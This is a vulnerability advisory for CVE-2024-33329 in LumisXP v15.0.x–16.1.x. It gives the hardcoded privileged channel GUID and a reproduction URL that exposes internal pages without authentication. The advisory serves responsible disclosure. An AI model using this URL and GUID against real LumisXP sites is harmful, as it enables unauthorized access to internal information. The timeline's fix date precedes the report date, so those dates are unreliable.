LumisXP 16.1.x Hardcoded Credentials / IDOR

=====[ Tempest Security Intelligence - ADV-6/2024
]==========================

LumisXP v15.0.x to v16.1.x

Author: Rodolfo Tavares

Tempest Security Intelligence - Recife, Pernambuco - Brazil

=====[ Table of Contents]==================================================

Overview
Detailed description
Timeline of disclosure
Thanks & Acknowledgements
References
=====[ Vulnerability
Information]=============================================

Class: Use of Hard-coded Credentials
(‘Use of Hard-coded Credentials’) [CWE-798]
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - 5.3
=====[ Overview]========================================================

System affected : LumisXP
Software Version : Version - v15.0.x to v16.1.x
Impacts :
Vulnerability: A hardcoded privileged ID within Lumisxp v15.0.x to v16.1.x
allows attackers to bypass authentication and access internal pages and
other sensitive information
=====[ Detailed
description]=================================================

IDOR
http://localhost.com/main.jsp?lumChannelId=00000000F00000000000000000000002&lumPageId=LumisBlankPage&lumRTI=lumis.service.doui.selectstructureelement.selectPage&pageId=
:
Access the link by inserting the GUID into the lumChannelId= parameter.
1 - Access your target using the following GUID (
00000000F00000000000000000000002 )

http://localhost.com/main.jsp?lumChannelId=00000000F00000000000000000000002&lumPageId=LumisBlankPage&lumRTI=lumis.service.doui.selectstructureelement.selectPage&pageId=  

2 - Verify that in the request response you will have access to various
component information and internal information about one or several domains.

=====[ Timeline of
disclosure]===============================================

2/Apr/2024 - Responsible disclosure was initiated with the vendor.
12/Apr/2024 - LumisXP Support confirmed the issue;
16/Fev/2024 - The vendor fixed the vulnerability
29/May/2024 - CVEs was assigned and reserved as CVE-2024-33329

=====[ Thanks & Acknowledgements]========================================

Tempest Security Intelligence [1]
Rodolfo Tavares
Niklas Correa
=====[ References ]=====================================================

[1][ https://cwe.mitre.org/data/definitions/798.html
[2][ https://www.tempest.com.br]
[3][Thanks Filipe X.]

=====[ EOF ]===========================================================

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